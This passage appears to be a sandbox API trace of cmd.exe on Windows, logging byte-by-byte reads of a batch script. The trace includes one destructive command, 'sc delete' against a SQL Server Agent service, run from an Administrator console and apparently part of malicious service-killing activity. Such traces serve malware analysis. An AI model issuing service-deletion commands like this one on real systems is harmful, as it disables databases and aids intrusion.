lpWideCharStr="ete \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.028] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.028] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.029] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.029] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.029] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.029] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.029] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.029] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.029] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.029] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.029] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.029] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.029] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.029] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.029] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SQLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.030] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.030] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.030] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="QLAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.030] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.030] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.030] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="LAgent$PROGID\"\nER\"\n\n\n") returned 1 [0077.030] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.030] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.030] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Agent$PROGID\"\nER\"\n\n\n") returned 1 [0077.030] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.030] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.030] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="gent$PROGID\"\nER\"\n\n\n") returned 1 [0077.030] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.031] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.031] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="ent$PROGID\"\nER\"\n\n\n") returned 1 [0077.031] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.031] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.031] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="nt$PROGID\"\nER\"\n\n\n") returned 1 [0077.031] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.031] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.031] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="t$PROGID\"\nER\"\n\n\n") returned 1 [0077.031] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.031] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.031] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="$PROGID\"\nER\"\n\n\n") returned 1 [0077.031] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.031] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.032] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="WROGID\"\nER\"\n\n\n") returned 1 [0077.032] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.032] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.032] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="OOGID\"\nER\"\n\n\n") returned 1 [0077.032] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.032] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.032] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="LGID\"\nER\"\n\n\n") returned 1 [0077.032] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.032] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.032] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="TID\"\nER\"\n\n\n") returned 1 [0077.032] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.032] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.032] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="ED\"\nER\"\n\n\n") returned 1 [0077.032] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.032] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.033] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="R\"\nER\"\n\n\n") returned 1 [0077.033] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.033] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.033] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="S\nER\"\n\n\n") returned 1 [0077.033] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.033] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.033] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="KER\"\n\n\n") returned 1 [0077.033] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.033] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.033] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="LR\"\n\n\n") returned 1 [0077.033] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.033] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.033] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="U\"\n\n\n") returned 1 [0077.034] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.034] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.034] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="W\n\n\n") returned 1 [0077.034] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.034] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.034] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="E\n\n") returned 1 [0077.034] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.034] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.034] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="R\n") returned 1 [0077.034] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.034] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.034] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0077.034] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.034] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.035] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0077.035] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.035] GetFileType (hFile=0xb8) returned 0x3 [0077.035] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.035] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.035] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.035] GetFileType (hFile=0x120) returned 0x3 [0077.035] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n", lpUsedDefaultChar=0x0) returned 36 [0077.035] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x23, lpOverlapped=0x0) returned 1 [0077.035] GetProcessHeap () returned 0x240000 [0077.035] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.035] GetProcessHeap () returned 0x240000 [0077.035] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.035] GetProcessHeap () returned 0x240000 [0077.035] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.035] GetProcessHeap () returned 0x240000 [0077.035] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.036] GetProcessHeap () returned 0x240000 [0077.036] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x25ba10 [0077.037] GetConsoleOutputCP () returned 0x1b5 [0077.037] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.037] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.037] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.037] GetProcessHeap () returned 0x240000 [0077.037] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.037] GetProcessHeap () returned 0x240000 [0077.037] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x58) returned 0x259b30 [0077.037] GetProcessHeap () returned 0x240000 [0077.037] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c590 [0077.037] SetErrorMode (uMode=0x0) returned 0x1 [0077.038] SetErrorMode (uMode=0x1) returned 0x0 [0077.038] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5a0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.038] SetErrorMode (uMode=0x1) returned 0x1 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c590, Size=0x62) returned 0x25c590 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c590) returned 0x62 [0077.038] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.038] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.038] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0077.038] GetProcessHeap () returned 0x240000 [0077.038] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0077.038] GetProcessHeap () returned 0x240000 [0077.039] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0077.039] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.039] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.039] GetLastError () returned 0x2 [0077.039] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.039] GetLastError () returned 0x2 [0077.039] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.039] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.040] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.040] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.040] GetLastError () returned 0x2 [0077.040] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.040] FindClose (in: hFindFile=0x259870 | out: 